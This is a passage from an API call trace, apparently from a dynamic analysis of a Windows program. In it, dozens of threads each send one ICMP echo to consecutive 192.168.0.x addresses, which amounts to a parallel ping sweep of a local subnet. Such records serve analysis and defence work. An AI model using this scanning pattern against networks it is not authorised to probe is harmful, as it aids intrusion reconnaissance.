	[0227.165] SetLastError (dwErrCode=0x57) 
	[0227.165] IcmpCreateFile () returned 0x2a6650
	[0228.171] IcmpSendEcho (in: IcmpHandle=0x2a6650, DestinationAddress=0x6600a8c0, RequestData=0x10cefa40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x10cefa60, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x10cefa60) returned 0x0
	[0256.588] IcmpCloseHandle (IcmpHandle=0x2a6650) returned 1
	[0256.588] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ac940 | out: hHeap=0x230000) returned 1

Thread:
	id = 900
	os_tid = 0x1434

	[0227.166] GetLastError () returned 0x57
	[0227.166] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2acd10
	[0227.166] SetLastError (dwErrCode=0x57) 
	[0227.166] IcmpCreateFile () returned 0x2a66a0
	[0228.172] IcmpSendEcho (in: IcmpHandle=0x2a66a0, DestinationAddress=0x6700a8c0, RequestData=0x1099faa0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1099fac0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1099fac0) returned 0x0
	[0256.518] IcmpCloseHandle (IcmpHandle=0x2a66a0) returned 1
	[0256.518] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2acd10 | out: hHeap=0x230000) returned 1

Thread:
	id = 901
	os_tid = 0x1438

	[0227.166] GetLastError () returned 0x57
	[0227.166] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ad0e0
	[0227.167] SetLastError (dwErrCode=0x57) 
	[0227.167] IcmpCreateFile () returned 0x2a66f0
	[0228.173] IcmpSendEcho (in: IcmpHandle=0x2a66f0, DestinationAddress=0x6800a8c0, RequestData=0x10f5fa60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x10f5fa80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x10f5fa80) returned 0x0
	[0256.304] IcmpCloseHandle (IcmpHandle=0x2a66f0) returned 1
	[0256.304] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ad0e0 | out: hHeap=0x230000) returned 1

Thread:
	id = 902
	os_tid = 0x143c

	[0227.167] GetLastError () returned 0x57
	[0227.167] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ad4b0
	[0227.168] SetLastError (dwErrCode=0x57) 
	[0227.168] IcmpCreateFile () returned 0x2a6740
	[0228.174] IcmpSendEcho (in: IcmpHandle=0x2a6740, DestinationAddress=0x6900a8c0, RequestData=0x110cfbe0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x110cfc00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x110cfc00) returned 0x0
	[0256.226] IcmpCloseHandle (IcmpHandle=0x2a6740) returned 1
	[0256.226] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ad4b0 | out: hHeap=0x230000) returned 1

Thread:
	id = 903
	os_tid = 0x1440

	[0227.168] GetLastError () returned 0x57
	[0227.168] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ad880
	[0227.169] SetLastError (dwErrCode=0x57) 
	[0227.169] IcmpCreateFile () returned 0x2a6790
	[0228.175] IcmpSendEcho (in: IcmpHandle=0x2a6790, DestinationAddress=0x6a00a8c0, RequestData=0x10e5fcc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x10e5fce0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x10e5fce0) returned 0x0
	[0256.114] IcmpCloseHandle (IcmpHandle=0x2a6790) returned 1
	[0256.114] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ad880 | out: hHeap=0x230000) returned 1

Thread:
	id = 904
	os_tid = 0x1444

	[0227.169] GetLastError () returned 0x57
	[0227.169] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2adc50
	[0227.170] SetLastError (dwErrCode=0x57) 
	[0227.170] IcmpCreateFile () returned 0x2a67e0
	[0228.176] IcmpSendEcho (in: IcmpHandle=0x2a67e0, DestinationAddress=0x6b00a8c0, RequestData=0x112ff940, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x112ff960, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x112ff960) returned 0x0
	[0255.947] IcmpCloseHandle (IcmpHandle=0x2a67e0) returned 1
	[0255.947] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2adc50 | out: hHeap=0x230000) returned 1

Thread:
	id = 905
	os_tid = 0x1448

	[0227.170] GetLastError () returned 0x57
	[0227.170] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ae020
	[0227.171] SetLastError (dwErrCode=0x57) 
	[0227.171] IcmpCreateFile () returned 0x2a6830
	[0228.177] IcmpSendEcho (in: IcmpHandle=0x2a6830, DestinationAddress=0x6c00a8c0, RequestData=0x1140f8e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1140f900, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1140f900) returned 0x0
	[0255.680] IcmpCloseHandle (IcmpHandle=0x2a6830) returned 1
	[0255.681] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ae020 | out: hHeap=0x230000) returned 1

Thread:
	id = 906
	os_tid = 0x144c

	[0227.171] GetLastError () returned 0x57
	[0227.171] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ae3f0
	[0227.171] SetLastError (dwErrCode=0x57) 
	[0227.172] IcmpCreateFile () returned 0x2a6880
	[0228.178] IcmpSendEcho (in: IcmpHandle=0x2a6880, DestinationAddress=0x6d00a8c0, RequestData=0x1076f780, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1076f7a0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1076f7a0) returned 0x0
	[0255.255] IcmpCloseHandle (IcmpHandle=0x2a6880) returned 1
	[0255.255] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ae3f0 | out: hHeap=0x230000) returned 1

Thread:
	id = 907
	os_tid = 0x1450

	[0227.268] GetLastError () returned 0x57
	[0227.268] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ae7c0
	[0227.268] SetLastError (dwErrCode=0x57) 
	[0227.269] IcmpCreateFile () returned 0x24ca50
	[0228.179] IcmpSendEcho (in: IcmpHandle=0x24ca50, DestinationAddress=0x6e00a8c0, RequestData=0x1160fe60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1160fe80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1160fe80) returned 0x0
	[0254.947] IcmpCloseHandle (IcmpHandle=0x24ca50) returned 1
	[0254.947] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ae7c0 | out: hHeap=0x230000) returned 1

Thread:
	id = 908
	os_tid = 0x1454

	[0227.269] GetLastError () returned 0x57
	[0227.269] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2aeb90
	[0227.269] SetLastError (dwErrCode=0x57) 
	[0227.269] IcmpCreateFile () returned 0x2a6920
	[0228.180] IcmpSendEcho (in: IcmpHandle=0x2a6920, DestinationAddress=0x6f00a8c0, RequestData=0x1177fca0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1177fcc0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1177fcc0) returned 0x0
	[0254.328] IcmpCloseHandle (IcmpHandle=0x2a6920) returned 1
	[0254.329] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2aeb90 | out: hHeap=0x230000) returned 1

Thread:
	id = 909
	os_tid = 0x1458

	[0227.270] GetLastError () returned 0x57
	[0227.270] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2aef60
	[0227.270] SetLastError (dwErrCode=0x57) 
	[0227.270] IcmpCreateFile () returned 0x2a6970
	[0228.181] IcmpSendEcho (in: IcmpHandle=0x2a6970, DestinationAddress=0x7000a8c0, RequestData=0x119afd80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x119afda0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x119afda0) returned 0x0
	[0254.028] IcmpCloseHandle (IcmpHandle=0x2a6970) returned 1
	[0254.028] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2aef60 | out: hHeap=0x230000) returned 1

Thread:
	id = 910
	os_tid = 0x145c

	[0227.271] GetLastError () returned 0x57
	[0227.271] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2b8680
	[0227.274] SetLastError (dwErrCode=0x57) 
	[0227.274] IcmpCreateFile () returned 0x2a69c0
	[0228.183] IcmpSendEcho (in: IcmpHandle=0x2a69c0, DestinationAddress=0x7100a8c0, RequestData=0x11b1fca0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x11b1fcc0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x11b1fcc0) returned 0x0
	[0253.781] IcmpCloseHandle (IcmpHandle=0x2a69c0) returned 1
	[0253.782] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2b8680 | out: hHeap=0x230000) returned 1

Thread:
	id = 911
	os_tid = 0x1460

	[0227.274] GetLastError () returned 0x57
	[0227.275] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2b8a50
	[0227.275] SetLastError (dwErrCode=0x57) 
	[0227.275] IcmpCreateFile () returned 0x2a6a10
	[0228.184] IcmpSendEcho (in: IcmpHandle=0x2a6a10, DestinationAddress=0x7200a8c0, RequestData=0x111cfa40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x111cfa60, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x111cfa60) returned 0x0
	[0253.419] IcmpCloseHandle (IcmpHandle=0x2a6a10) returned 1
	[0253.419] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2b8a50 | out: hHeap=0x230000) returned 1

Thread:
	id = 912
	os_tid = 0x1464

	[0227.275] GetLastError () returned 0x57
	[0227.275] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2b8e20
	[0227.276] SetLastError (dwErrCode=0x57) 
	[0227.276] IcmpCreateFile () returned 0x2a6a60
	[0228.185] IcmpSendEcho (in: IcmpHandle=0x2a6a60, DestinationAddress=0x7300a8c0, RequestData=0x11caf740, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x11caf760, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x11caf760) returned 0x0
	[0252.813] IcmpCloseHandle (IcmpHandle=0x2a6a60) returned 1
	[0252.813] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2b8e20 | out: hHeap=0x230000) returned 1

Thread:
	id = 913
	os_tid = 0x1468

	[0227.276] GetLastError () returned 0x57
	[0227.277] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2b91f0
	[0227.277] SetLastError (dwErrCode=0x57) 
	[0227.277] IcmpCreateFile () returned 0x2a6ab0
	[0228.186] IcmpSendEcho (in: IcmpHandle=0x2a6ab0, DestinationAddress=0x7400a8c0, RequestData=0x118afb20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x118afb40, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x118afb40) returned 0x0
	[0252.374] IcmpCloseHandle (IcmpHandle=0x2a6ab0) returned 1
	[0252.374] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2b91f0 | out: hHeap=0x230000) returned 1

Thread:
	id = 914
	os_tid = 0x146c

	[0227.277] GetLastError () returned 0x57
	[0227.277] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2b95c0
	[0227.278] SetLastError (dwErrCode=0x57) 
	[0227.278] IcmpCreateFile () returned 0x2a6b00
	[0228.187] IcmpSendEcho (in: IcmpHandle=0x2a6b00, DestinationAddress=0x7500a8c0, RequestData=0x1150fb60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1150fb80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1150fb80) returned 0x0
	[0251.647] IcmpCloseHandle (IcmpHandle=0x2a6b00) returned 1
	[0251.648] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2b95c0 | out: hHeap=0x230000) returned 1

Thread:
	id = 915
	os_tid = 0x1470

	[0227.278] GetLastError () returned 0x57
	[0227.278] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2b9990
	[0227.279] SetLastError (dwErrCode=0x57) 
	[0227.279] IcmpCreateFile () returned 0x2a6b50
	[0228.188] IcmpSendEcho (in: IcmpHandle=0x2a6b50, DestinationAddress=0x7600a8c0, RequestData=0x11f8fba0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x11f8fbc0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x11f8fbc0) returned 0x0
	[0251.187] IcmpCloseHandle (IcmpHandle=0x2a6b50) returned 1
	[0251.188] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2b9990 | out: hHeap=0x230000) returned 1

Thread:
	id = 916
	os_tid = 0x1474

	[0227.279] GetLastError () returned 0x57
	[0227.279] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2b9d60
	[0227.280] SetLastError (dwErrCode=0x57) 
	[0227.280] IcmpCreateFile () returned 0x2a6ba0
	[0228.189] IcmpSendEcho (in: IcmpHandle=0x2a6ba0, DestinationAddress=0x7700a8c0, RequestData=0x1209f720, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1209f740, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1209f740) returned 0x0
	[0250.393] IcmpCloseHandle (IcmpHandle=0x2a6ba0) returned 1
	[0250.393] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2b9d60 | out: hHeap=0x230000) returned 1

Thread:
	id = 917
	os_tid = 0x1478

	[0227.281] GetLastError () returned 0x57
	[0227.281] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ba130
	[0227.281] SetLastError (dwErrCode=0x57) 
	[0227.281] IcmpCreateFile () returned 0x2a6bf0
	[0228.191] IcmpSendEcho (in: IcmpHandle=0x2a6bf0, DestinationAddress=0x7800a8c0, RequestData=0x1226fba0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1226fbc0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1226fbc0) returned 0x1
	[0249.931] IcmpCloseHandle (IcmpHandle=0x2a6bf0) returned 1
	[0249.932] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ba130 | out: hHeap=0x230000) returned 1

Thread:
	id = 918
	os_tid = 0x147c

	[0227.282] GetLastError () returned 0x57
	[0227.282] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ba500
	[0227.282] SetLastError (dwErrCode=0x57) 
	[0227.282] IcmpCreateFile () returned 0x2a6c40
	[0228.192] IcmpSendEcho (in: IcmpHandle=0x2a6c40, DestinationAddress=0x7900a8c0, RequestData=0x11e4f920, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x11e4f940, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x11e4f940) returned 0x1
	[0249.410] IcmpCloseHandle (IcmpHandle=0x2a6c40) returned 1
	[0249.411] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ba500 | out: hHeap=0x230000) returned 1

Thread:
	id = 919
	os_tid = 0x1480

	[0227.283] GetLastError () returned 0x57
	[0227.283] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ba8d0
	[0227.283] SetLastError (dwErrCode=0x57) 
	[0227.283] IcmpCreateFile () returned 0x2a6c90
	[0228.193] IcmpSendEcho (in: IcmpHandle=0x2a6c90, DestinationAddress=0x7a00a8c0, RequestData=0x1242fe20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1242fe40, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1242fe40) returned 0x1
	[0248.787] IcmpCloseHandle (IcmpHandle=0x2a6c90) returned 1
	[0248.787] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ba8d0 | out: hHeap=0x230000) returned 1

Thread:
	id = 920
	os_tid = 0x1484

	[0227.284] GetLastError () returned 0x57
	[0227.284] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2baca0
	[0227.284] SetLastError (dwErrCode=0x57) 
	[0227.284] IcmpCreateFile () returned 0x2a6ce0
	[0228.194] IcmpSendEcho (in: IcmpHandle=0x2a6ce0, DestinationAddress=0x7b00a8c0, RequestData=0x1270fee0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1270ff00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1270ff00) returned 0x1
	[0248.192] IcmpCloseHandle (IcmpHandle=0x2a6ce0) returned 1
	[0248.193] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2baca0 | out: hHeap=0x230000) returned 1

Thread:
	id = 921
	os_tid = 0x1488

	[0227.285] GetLastError () returned 0x57
	[0227.285] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2bb070
	[0227.285] SetLastError (dwErrCode=0x57) 
	[0227.285] IcmpCreateFile () returned 0x2a6d30
	[0228.195] IcmpSendEcho (in: IcmpHandle=0x2a6d30, DestinationAddress=0x7c00a8c0, RequestData=0x125ef960, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x125ef980, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x125ef980) returned 0x1
	[0247.608] IcmpCloseHandle (IcmpHandle=0x2a6d30) returned 1
	[0247.609] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2bb070 | out: hHeap=0x230000) returned 1

Thread:
	id = 922
	os_tid = 0x148c

	[0227.285] GetLastError () returned 0x57
	[0227.286] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2bb440
	[0227.286] SetLastError (dwErrCode=0x57) 
	[0227.286] IcmpCreateFile () returned 0x2a6d80
	[0228.196] IcmpSendEcho (in: IcmpHandle=0x2a6d80, DestinationAddress=0x7d00a8c0, RequestData=0x1298f740, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1298f760, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1298f760) returned 0x1
	[0246.617] IcmpCloseHandle (IcmpHandle=0x2a6d80) returned 1
	[0246.617] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2bb440 | out: hHeap=0x230000) returned 1

Thread:
	id = 923
	os_tid = 0x1490

	[0227.287] GetLastError () returned 0x57
	[0227.287] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2bb810
	[0227.287] SetLastError (dwErrCode=0x57) 
	[0227.287] IcmpCreateFile () returned 0x2bc680
	[0228.197] IcmpSendEcho (in: IcmpHandle=0x2bc680, DestinationAddress=0x7e00a8c0, RequestData=0x1282fc60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1282fc80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1282fc80) returned 0x1
	[0246.242] IcmpCloseHandle (IcmpHandle=0x2bc680) returned 1
	[0246.242] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2bb810 | out: hHeap=0x230000) returned 1

Thread:
	id = 924
	os_tid = 0x1494

	[0227.288] GetLastError () returned 0x57
	[0227.288] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2bbbe0
	[0227.288] SetLastError (dwErrCode=0x57) 
	[0227.288] IcmpCreateFile () returned 0x2bc6d0
	[0228.198] IcmpSendEcho (in: IcmpHandle=0x2bc6d0, DestinationAddress=0x7f00a8c0, RequestData=0x12acfb80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x12acfba0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x12acfba0) returned 0x1
	[0246.086] IcmpCloseHandle (IcmpHandle=0x2bc6d0) returned 1
	[0246.086] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2bbbe0 | out: hHeap=0x230000) returned 1

Thread:
	id = 925
	os_tid = 0x1498

	[0227.289] GetLastError () returned 0x57
	[0227.289] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2bbfb0
	[0227.289] SetLastError (dwErrCode=0x57) 
	[0227.289] IcmpCreateFile () returned 0x2bc720
	[0228.199] IcmpSendEcho (in: IcmpHandle=0x2bc720, DestinationAddress=0x8000a8c0, RequestData=0x12dafca0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x12dafcc0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x12dafcc0) returned 0x1
	[0245.585] IcmpCloseHandle (IcmpHandle=0x2bc720) returned 1
	[0245.586] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2bbfb0 | out: hHeap=0x230000) returned 1

Thread:
	id = 926
	os_tid = 0x149c

	[0227.290] GetLastError () returned 0x57
	[0227.290] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2bd680
	[0227.291] SetLastError (dwErrCode=0x57) 
	[0227.291] IcmpCreateFile () returned 0x2bc770
	[0228.200] IcmpSendEcho (in: IcmpHandle=0x2bc770, DestinationAddress=0x8100a8c0, RequestData=0x12c2fbe0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x12c2fc00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x12c2fc00) returned 0x1
	[0245.233] IcmpCloseHandle (IcmpHandle=0x2bc770) returned 1
	[0245.233] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2bd680 | out: hHeap=0x230000) returned 1

Thread:
	id = 927
	os_tid = 0x14a0

	[0227.292] GetLastError () returned 0x57
	[0227.292] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2bda50
	[0227.292] SetLastError (dwErrCode=0x57) 
	[0227.292] IcmpCreateFile () returned 0x2bc7c0
	[0228.201] IcmpSendEcho (in: IcmpHandle=0x2bc7c0, DestinationAddress=0x8200a8c0, RequestData=0x12f0fdc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x12f0fde0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x12f0fde0) returned 0x1
	[0245.075] IcmpCloseHandle (IcmpHandle=0x2bc7c0) returned 1
	[0245.076] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2bda50 | out: hHeap=0x230000) returned 1

Thread:
	id = 928
	os_tid = 0x14a4

	[0227.404] GetLastError () returned 0x57
	[0227.405] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2bde20
	[0227.405] SetLastError (dwErrCode=0x57) 
	[0227.405] IcmpCreateFile () returned 0x2bc810
	[0228.202] IcmpSendEcho (in: IcmpHandle=0x2bc810, DestinationAddress=0x8300a8c0, RequestData=0x130af700, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x130af720, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x130af720) returned 0x1
	[0244.904] IcmpCloseHandle (IcmpHandle=0x2bc810) returned 1
	[0244.904] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2bde20 | out: hHeap=0x230000) returned 1

Thread:
	id = 929
	os_tid = 0x14a8

	[0227.405] GetLastError () returned 0x57
	[0227.406] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2be1f0
	[0227.406] SetLastError (dwErrCode=0x57) 
	[0227.406] IcmpCreateFile () returned 0x2bc860
	[0228.203] IcmpSendEcho (in: IcmpHandle=0x2bc860, DestinationAddress=0x8400a8c0, RequestData=0x132afc80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x132afca0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x132afca0) returned 0x1
	[0244.591] IcmpCloseHandle (IcmpHandle=0x2bc860) returned 1
	[0244.592] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2be1f0 | out: hHeap=0x230000) returned 1

Thread:
	id = 930
	os_tid = 0x14ac

	[0227.406] GetLastError () returned 0x57
	[0227.406] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2be5c0
	[0227.407] SetLastError (dwErrCode=0x57) 
	[0227.407] IcmpCreateFile () returned 0x2bc8b0
	[0228.205] IcmpSendEcho (in: IcmpHandle=0x2bc8b0, DestinationAddress=0x8500a8c0, RequestData=0x133bf9e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x133bfa00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x133bfa00) returned 0x1
	[0244.371] IcmpCloseHandle (IcmpHandle=0x2bc8b0) returned 1
	[0244.371] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2be5c0 | out: hHeap=0x230000) returned 1

Thread:
	id = 931
	os_tid = 0x14b0

	[0227.407] GetLastError () returned 0x57
	[0227.407] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2be990
	[0227.408] SetLastError (dwErrCode=0x57) 
	[0227.408] IcmpCreateFile () returned 0x2bc900
	[0228.205] IcmpSendEcho (in: IcmpHandle=0x2bc900, DestinationAddress=0x8600a8c0, RequestData=0x1360fc60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1360fc80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1360fc80) returned 0x1
	[0244.058] IcmpCloseHandle (IcmpHandle=0x2bc900) returned 1
	[0244.058] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2be990 | out: hHeap=0x230000) returned 1

Thread:
	id = 932
	os_tid = 0x14b4

	[0227.408] GetLastError () returned 0x57
	[0227.408] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2bed60
	[0227.409] SetLastError (dwErrCode=0x57) 
	[0227.409] IcmpCreateFile () returned 0x2bc950
	[0228.207] IcmpSendEcho (in: IcmpHandle=0x2bc950, DestinationAddress=0x8700a8c0, RequestData=0x134ef9c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x134ef9e0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x134ef9e0) returned 0x1
	[0243.794] IcmpCloseHandle (IcmpHandle=0x2bc950) returned 1
	[0243.794] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2bed60 | out: hHeap=0x230000) returned 1

Thread:
	id = 933
	os_tid = 0x14b8

	[0227.409] GetLastError () returned 0x57
	[0227.409] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2bf130
	[0227.410] SetLastError (dwErrCode=0x57) 
	[0227.410] IcmpCreateFile () returned 0x2bc9a0
	[0228.208] IcmpSendEcho (in: IcmpHandle=0x2bc9a0, DestinationAddress=0x8800a8c0, RequestData=0x1389fea0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1389fec0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1389fec0) returned 0x1
	[0243.357] IcmpCloseHandle (IcmpHandle=0x2bc9a0) returned 1
	[0243.358] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2bf130 | out: hHeap=0x230000) returned 1

Thread:
	id = 934
	os_tid = 0x14bc

	[0227.410] GetLastError () returned 0x57
	[0227.410] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2bf500
	[0227.411] SetLastError (dwErrCode=0x57) 
	[0227.411] IcmpCreateFile () returned 0x2bc9f0
	[0228.209] IcmpSendEcho (in: IcmpHandle=0x2bc9f0, DestinationAddress=0x8900a8c0, RequestData=0x139afde0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x139afe00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x139afe00) returned 0x1
	[0242.898] IcmpCloseHandle (IcmpHandle=0x2bc9f0) returned 1
	[0242.899] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2bf500 | out: hHeap=0x230000) returned 1

Thread:
	id = 935
	os_tid = 0x14c0

	[0227.442] GetLastError () returned 0x57
	[0227.442] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2bf8d0
	[0227.442] SetLastError (dwErrCode=0x57) 
	[0227.442] IcmpCreateFile () returned 0x2bca40
	[0228.210] IcmpSendEcho (in: IcmpHandle=0x2bca40, DestinationAddress=0x8a00a8c0, RequestData=0x1377fc00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1377fc20, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1377fc20) returned 0x1
	[0242.770] IcmpCloseHandle (IcmpHandle=0x2bca40) returned 1
